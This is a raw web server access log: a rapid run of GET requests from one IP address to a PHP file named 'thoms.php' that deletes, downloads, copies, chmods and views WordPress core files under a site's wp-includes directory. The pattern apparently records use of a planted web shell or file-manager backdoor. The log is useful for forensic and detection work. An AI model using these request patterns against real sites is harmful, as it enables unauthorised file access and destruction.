45.135.193.11 - - [11/Sep/2026:23:10:27 -0400] "GET /thoms.php?del=deprecated.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57923 "http://163.245.207.76:443/thoms.php?del=deprecated.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:27 -0400] "GET /thoms.php?chmod=class-wp-block-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:27 -0400] "GET /thoms.php?dl=class-wp-ajax-response.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=class-wp-ajax-response.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:27 -0400] "GET /thoms.php?del=class-wp-block-parser.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:28 -0400] "GET /thoms.php?dl=class-wp-textdomain-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?dl=class-wp-textdomain-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:28 -0400] "GET /thoms.php?dl=date.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=date.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:28 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-duotone.php HTTP/1.1" 200 23484 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-duotone.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:28 -0400] "GET /thoms.php?dl=abilities-api.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=abilities-api.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:28 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-oembed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-oembed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:28 -0400] "GET /thoms.php?del=class-wp-ajax-response.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-ajax-response.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:28 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=http.php HTTP/1.1" 200 19190 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:29 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=meta.php HTTP/1.1" 200 26714 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=meta.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:29 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=feed-rdf.php HTTP/1.1" 200 13043 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=feed-rdf.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:29 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=feed-rss2.php HTTP/1.1" 200 13525 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=feed-rss2.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:29 -0400] "GET /thoms.php?dl=class-oembed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-oembed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:29 -0400] "GET /thoms.php?chmod=speculative-loading.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=speculative-loading.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:29 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fwidgets.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11860 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fwidgets.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:29 -0400] "GET /thoms.php?del=nav-menu.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57743 "http://163.245.207.76:443/thoms.php?del=nav-menu.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:29 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fai-client.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11815 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fai-client.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:29 -0400] "GET /thoms.php?chmod=class-wp-feed-cache.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:29 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-admin-bar.php HTTP/1.1" 200 17925 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:30 -0400] "GET /thoms.php?chmod=class-wp.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=class-wp.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:30 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fpost-thumbnail-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fpost-thumbnail-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:30 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=theme.php HTTP/1.1" 200 50961 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:30 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Fphp-compat HTTP/1.1" 200 12713 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Fphp-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:30 -0400] "GET /thoms.php?dl=pluggable.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=pluggable.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:30 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class.wp-styles.php HTTP/1.1" 200 12099 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:30 -0400] "GET /thoms.php?del=class-wp-feed-cache.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57906 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:30 -0400] "GET /thoms.php?del=class-wp-site.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-site.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:30 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=post-formats.php HTTP/1.1" 200 14131 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=post-formats.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:31 -0400] "GET /thoms.php?chmod=session.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=session.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:30 -0400] "GET /thoms.php?del=connectors.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=connectors.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:31 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-error.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-error.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:31 -0400] "GET /thoms.php?chmod=block-patterns.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=block-patterns.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:31 -0400] "GET /thoms.php?chmod=class-wp-http-curl.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-curl.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:31 -0400] "GET /thoms.php?chmod=class-wp-user-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:31 -0400] "GET /thoms.php?dl=class-wp-http-cookie.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-cookie.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:31 -0400] "GET /thoms.php?del=class-wp-script-modules.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 58032 "http://163.245.207.76:443/thoms.php?del=class-wp-script-modules.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:31 -0400] "GET /thoms.php?del=registration.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57898 "http://163.245.207.76:443/thoms.php?del=registration.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:31 -0400] "GET /thoms.php?dl=icons.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57888 "http://163.245.207.76:443/thoms.php?dl=icons.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:32 -0400] "GET /thoms.php?chmod=ms-default-filters.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=ms-default-filters.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:31 -0400] "GET /thoms.php?del=class-wp-block-bindings-source.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-source.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:32 -0400] "GET /thoms.php?chmod=ms-network.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=ms-network.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:32 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fadmin-bar.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fadmin-bar.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:32 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-image-editor-imagick.php HTTP/1.1" 200 26558 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-image-editor-imagick.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:32 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-theme-json-resolver.php HTTP/1.1" 200 22479 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-theme-json-resolver.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:32 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcache-compat.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcache-compat.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:32 -0400] "GET /thoms.php?chmod=category.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=category.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:32 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcategory.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11864 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcategory.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:32 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-feed.php HTTP/1.1" 200 12136 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:33 -0400] "GET /thoms.php?chmod=class-wp-date-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=class-wp-date-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:33 -0400] "GET /thoms.php?chmod=feed-atom-comments.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=feed-atom-comments.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:33 -0400] "GET /thoms.php?chmod=block-patterns&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=block-patterns&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:33 -0400] "GET /thoms.php?chmod=php-ai-client&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=php-ai-client&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:33 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-comment.php HTTP/1.1" 200 17313 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:33 -0400] "GET /thoms.php?chmod=class-wp-term-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:33 -0400] "GET /thoms.php?chmod=ms-deprecated.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=ms-deprecated.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:33 -0400] "GET /thoms.php?del=rest-api&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?del=rest-api&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:33 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fshortcodes.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fshortcodes.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:33 -0400] "GET /thoms.php?dl=class-wp-user-request.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-request.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:33 -0400] "GET /thoms.php?dl=rewrite.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?dl=rewrite.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:33 -0400] "GET /thoms.php?del=rss-functions.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57927 "http://163.245.207.76:443/thoms.php?del=rss-functions.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:33 -0400] "GET /thoms.php?del=view-transitions.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57879 "http://163.245.207.76:443/thoms.php?del=view-transitions.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:34 -0400] "GET /thoms.php?chmod=class-wp-theme-json.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:34 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass.wp-dependencies.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11838 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass.wp-dependencies.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:34 -0400] "GET /thoms.php?dl=class-walker-page-dropdown.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?dl=class-walker-page-dropdown.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:34 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=default-filters.php HTTP/1.1" 200 23178 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:34 -0400] "GET /thoms.php?chmod=class-snoopy.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=class-snoopy.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:34 -0400] "GET /thoms.php?chmod=class-wp-token-map.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=class-wp-token-map.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
